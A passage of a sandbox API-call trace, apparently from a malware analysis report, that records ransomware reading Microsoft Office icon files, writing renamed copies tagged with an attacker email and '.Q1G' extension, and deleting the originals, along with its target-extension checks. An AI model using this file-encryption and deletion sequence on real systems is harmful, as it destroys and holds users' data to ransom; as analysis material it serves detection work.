(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico")) returned 1 [0265.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.099] lstrlenW (lpString=".doc") returned 4 [0265.099] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.099] lstrlenW (lpString=".docx") returned 5 [0265.099] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.099] lstrlenW (lpString=".pdf") returned 4 [0265.099] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.099] lstrlenW (lpString=".xls") returned 4 [0265.099] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.099] lstrlenW (lpString=".xlsx") returned 5 [0265.099] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.099] lstrlenW (lpString=".ppt") returned 4 [0265.099] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".zip") returned 4 [0265.100] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString=".rar") returned 4 [0265.100] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString=".bz2") returned 4 [0265.100] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.100] lstrlenW (lpString=".7z") returned 3 [0265.100] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".dbf") returned 4 [0265.100] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".1cd") returned 4 [0265.100] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".jpg") returned 4 [0265.100] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".doc") returned 4 [0265.100] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.100] lstrlenW (lpString=".docx") returned 5 [0265.100] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.100] lstrlenW (lpString=".pdf") returned 4 [0265.100] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString=".xls") returned 4 [0265.100] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString=".xlsx") returned 5 [0265.100] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.100] lstrlenW (lpString=".ppt") returned 4 [0265.100] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.100] lstrlenW (lpString=".zip") returned 4 [0265.100] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.100] lstrlenW (lpString=".rar") returned 4 [0265.101] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.101] lstrlenW (lpString=".bz2") returned 4 [0265.101] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.101] lstrlenW (lpString=".7z") returned 3 [0265.101] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.101] lstrlenW (lpString=".dbf") returned 4 [0265.101] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.101] lstrlenW (lpString=".1cd") returned 4 [0265.101] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79 [0265.101] lstrlenW (lpString=".jpg") returned 4 [0265.101] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.101] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.101] lstrlenW (lpString="gfserrorfromgroove.ico") returned 22 [0265.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.102] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1718) returned 1 [0265.102] CloseHandle (hObject=0x3a8) returned 1 [0265.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico")) returned 0x20 [0265.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.103] GetLastError () returned 0x0 [0265.103] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6b6, lpOverlapped=0x0) returned 1 [0265.105] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0265.106] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.106] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x100, lpOverlapped=0x0) returned 1 [0265.106] SetEndOfFile (hFile=0x3a0) returned 1 [0265.106] CloseHandle (hObject=0x3a0) returned 1 [0265.106] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.106] SetEndOfFile (hFile=0x3a8) returned 1 [0265.109] CloseHandle (hObject=0x3a8) returned 1 [0265.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico")) returned 1 [0265.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.110] lstrlenW (lpString=".doc") returned 4 [0265.110] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.110] lstrlenW (lpString=".docx") returned 5 [0265.111] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.111] lstrlenW (lpString=".pdf") returned 4 [0265.111] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.111] lstrlenW (lpString=".xls") returned 4 [0265.111] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.111] lstrlenW (lpString=".xlsx") returned 5 [0265.111] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.111] lstrlenW (lpString=".ppt") returned 4 [0265.111] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.111] lstrlenW (lpString=".zip") returned 4 [0265.111] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.111] lstrlenW (lpString=".rar") returned 4 [0265.111] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.111] lstrlenW (lpString=".bz2") returned 4 [0265.111] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.111] lstrlenW (lpString=".7z") returned 3 [0265.111] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.111] lstrlenW (lpString=".dbf") returned 4 [0265.111] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.111] lstrlenW (lpString=".1cd") returned 4 [0265.111] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.111] lstrlenW (lpString=".jpg") returned 4 [0265.111] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString=".doc") returned 4 [0265.112] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.112] lstrlenW (lpString=".docx") returned 5 [0265.112] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.112] lstrlenW (lpString=".pdf") returned 4 [0265.112] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString=".xls") returned 4 [0265.112] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString=".xlsx") returned 5 [0265.112] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.112] lstrlenW (lpString=".ppt") returned 4 [0265.112] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString=".zip") returned 4 [0265.112] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString=".rar") returned 4 [0265.112] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.112] lstrlenW (lpString=".bz2") returned 4 [0265.112] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.112] lstrlenW (lpString=".7z") returned 3 [0265.112] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString=".dbf") returned 4 [0265.112] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString=".1cd") returned 4 [0265.112] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82 [0265.112] lstrlenW (lpString=".jpg") returned 4 [0265.112] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.113] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.113] lstrlenW (lpString="gfserrortogroove.ico") returned 20 [0265.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.113] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1718) returned 1 [0265.113] CloseHandle (hObject=0x3a8) returned 1 [0265.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico")) returned 0x20 [0265.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.114] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.114] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.114] GetLastError () returned 0x0 [0265.114] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6b6, lpOverlapped=0x0) returned 1 [0265.116] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0265.117] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.117] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0265.117] SetEndOfFile (hFile=0x3a0) returned 1 [0265.117] CloseHandle (hObject=0x3a0) returned 1 [0265.117] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.117] SetEndOfFile (hFile=0x3a8) returned 1 [0265.119] CloseHandle (hObject=0x3a8) returned 1 [0265.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico")) returned 1 [0265.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.120] lstrlenW (lpString=".doc") returned 4 [0265.120] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.120] lstrlenW (lpString=".docx") returned 5 [0265.121] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.121] lstrlenW (lpString=".pdf") returned 4 [0265.121] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString=".xls") returned 4 [0265.121] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString=".xlsx") returned 5 [0265.121] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.121] lstrlenW (lpString=".ppt") returned 4 [0265.121] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString=".zip") returned 4 [0265.121] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString=".rar") returned 4 [0265.121] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString=".bz2") returned 4 [0265.121] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.121] lstrlenW (lpString=".7z") returned 3 [0265.121] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString=".dbf") returned 4 [0265.121] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString=".1cd") returned 4 [0265.121] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString=".jpg") returned 4 [0265.121] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.121] lstrlenW (lpString=".doc") returned 4 [0265.121] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.121] lstrlenW (lpString=".docx") returned 5 [0265.121] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.121] lstrlenW (lpString=".pdf") returned 4 [0265.121] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.121] lstrlenW (lpString=".xls") returned 4 [0265.122] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.122] lstrlenW (lpString=".xlsx") returned 5 [0265.122] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.122] lstrlenW (lpString=".ppt") returned 4 [0265.122] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.122] lstrlenW (lpString=".zip") returned 4 [0265.122] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.122] lstrlenW (lpString=".rar") returned 4 [0265.122] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.122] lstrlenW (lpString=".bz2") returned 4 [0265.122] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.122] lstrlenW (lpString=".7z") returned 3 [0265.122] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.122] lstrlenW (lpString=".dbf") returned 4 [0265.122] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.122] lstrlenW (lpString=".1cd") returned 4 [0265.122] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80 [0265.122] lstrlenW (lpString=".jpg") returned 4 [0265.122] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.122] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.122] lstrlenW (lpString="GWE.ICO") returned 7 [0265.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.123] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=169181) returned 1 [0265.123] CloseHandle (hObject=0x3a8) returned 1 [0265.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico")) returned 0x20 [0265.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.124] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.124] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.125] GetLastError () returned 0x0 [0265.125] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x294dd, lpOverlapped=0x0) returned 1 [0265.129] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x294e0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x294e0, lpOverlapped=0x0) returned 1 [0265.132] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.132] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0265.132] SetEndOfFile (hFile=0x3a0) returned 1 [0265.132] CloseHandle (hObject=0x3a0) returned 1 [0265.132] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.132] SetEndOfFile (hFile=0x3a8) returned 1 [0265.137] CloseHandle (hObject=0x3a8) returned 1 [0265.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" 